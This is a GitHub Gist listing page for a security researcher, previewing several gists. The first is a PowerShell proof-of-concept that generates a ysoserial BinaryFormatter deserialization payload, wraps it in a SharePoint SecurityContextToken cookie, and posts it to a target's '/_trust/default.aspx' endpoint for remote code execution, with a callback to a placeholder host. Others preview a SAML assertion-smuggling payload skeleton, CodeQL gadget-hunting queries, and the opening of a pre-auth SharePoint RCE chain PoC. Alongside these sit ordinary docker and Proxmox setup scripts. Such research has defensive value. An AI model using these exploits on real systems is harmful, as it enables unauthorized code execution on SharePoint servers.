Skip to content

Instantly share code, notes, and snippets.

@testanull
testanull / SharePoint SE p2o PoC.ps1
Created July 20, 2026 05:53
SharePoint SE p2o PoC
$n=[Guid]::NewGuid().ToString('N');$cb="http://remote/spse-cookie-rce-$n";$tmp="$env:TEMP\$n.bin";$cmd="powershell.exe -NoProfile -NonInteractive -Command Invoke-WebRequest -UseBasicParsing '$cb'";& 'ysoserial.exe' -g TypeConfuseDelegate -f BinaryFormatter -o raw -c $cmd --outputpath $tmp|Out-Null;Add-Type -AssemblyName System.IdentityModel;$raw=[IO.File]::ReadAllBytes($tmp);$cookie=[Convert]::ToBase64String(([System.IdentityModel.DeflateCookieTransform]::new()).Encode($raw));$token="<sc:SecurityContextToken xmlns:sc='http://schemas.xmlsoap.org/ws/2005/02/sc'><sc:Identifier>urn:unique-id:securitycontext:$n</sc:Identifier><Cookie xmlns='http://schemas.microsoft.com/ws/2006/05/security'>$cookie</Cookie></sc:SecurityContextToken>";$rstr="<t:RequestSecurityTokenResponse xmlns:t='http://schemas.xmlsoap.org/ws/2005/02/trust'><t:RequestedSecurityToken>$token</t:RequestedSecurityToken></t:RequestSecurityTokenResponse>";Write-Host "Callback: $cb";try{Invoke-WebRequest 'http://TARGET/_trust/default.aspx' -Method Post -
@testanull
testanull / Microsoft SharePoint setup guide.md
Last active July 27, 2026 03:56
Microsoft SharePoint setup guide
import base64
import urllib.parse
SKELETON_PAYLOAD = """<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xml SYSTEM 'x" ><!--'>
FAKE_ASSERTION
<![CDATA[-->
REAL_ASSERTION
<!--]]>--></saml2p:Response>
"""
@testanull
testanull / ilspy_for_diffing.patch
Last active February 20, 2025 10:49
ilspy diffing
diff --git a/ICSharpCode.Decompiler/CSharp/OutputVisitor/CSharpOutputVisitor.cs b/ICSharpCode.Decompiler/CSharp/OutputVisitor/CSharpOutputVisitor.cs
index a462ccb9f..5a6722e13 100644
--- a/ICSharpCode.Decompiler/CSharp/OutputVisitor/CSharpOutputVisitor.cs
+++ b/ICSharpCode.Decompiler/CSharp/OutputVisitor/CSharpOutputVisitor.cs
@@ -566,7 +566,20 @@ protected virtual void WriteMethodBody(BlockStatement body, BraceStyle style, bo
protected virtual void WriteAttributes(IEnumerable<AttributeSection> attributes)
{
- foreach (AttributeSection attr in attributes)
+ var l = attributes.ToList();
/**
* @kind path-problem
*/
import csharp
class StartMethod extends Getter {
StartMethod() { getName() = "get_Name" }
}
/**
* @kind path-problem
*/
import csharp
class ODPSetter extends Setter {
ODPSetter() {
getDeclaringType().getName() = "ObjectDataProvider" and
getName() = "set_ObjectInstance"
/**
* @kind path-problem
*/
import java
class CustomSetterMethod extends Method {
CustomSetterMethod() {
getName().matches("set%") and
not getName().length() = 3 and
@testanull
testanull / prepare_ubuntu_template.sh
Created December 28, 2023 04:11 — forked from reluce/prepare_ubuntu_template.sh
Prepare Ubuntu 22.04 Cloud Image and Template for Proxmox
# All commands will be executed on a Proxmox host
sudo apt update -y && sudo apt install libguestfs-tools -y
wget https://cloud-images.ubuntu.com/jammy/current/jammy-server-cloudimg-amd64.img
# Install qemu-guest-agent on the image. Additional packages can be specified by separating with a comma.
sudo virt-customize -a jammy-server-cloudimg-amd64.img --install qemu-guest-agent
# Read and set root user password from file.
sudo virt-customize -a jammy-server-cloudimg-amd64.img --root-password file:password_root.txt
# Create an additional user.
sudo virt-customize -a jammy-server-cloudimg-amd64.img --run-command "useradd -m -s /bin/bash myuser"
# Set password for that user.
@testanull
testanull / SharePwn_public.py
Created December 15, 2023 07:31
SharePoint Pre-Auth Code Injection RCE chain CVE-2023-29357 & CVE-2023-24955 PoC
# -*- coding: utf-8 -*-
import hashlib
import base64
import requests, string, struct, uuid, random, re
import sys
from collections import OrderedDict
from sys import version
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
# too lazy to deal with string <-> bytes confusion in python3 so forget it ¯\_(ツ)_/¯
@testanull
testanull / install.sh
Created September 7, 2023 02:53
Install docker && docker-compose on Ubuntu 20.04
#!/bin/bash
sudo su
wget -qO- https://get.docker.com/ | sh
COMPOSE_VERSION=`git ls-remote https://github.com/docker/compose | grep refs/tags | grep -oE "[0-9]+\.[0-9][0-9]+\.[0-9]+$" | sort --version-sort | tail -n 2 | head -n 1`
sudo sh -c "curl -L https://github.com/docker/compose/releases/download/v${COMPOSE_VERSION}/docker-compose-`uname -s`-`uname -m` > /usr/local/bin/docker-compose"
sudo chmod +x /usr/local/bin/docker-compose
# You're good to go, no more 404 not found!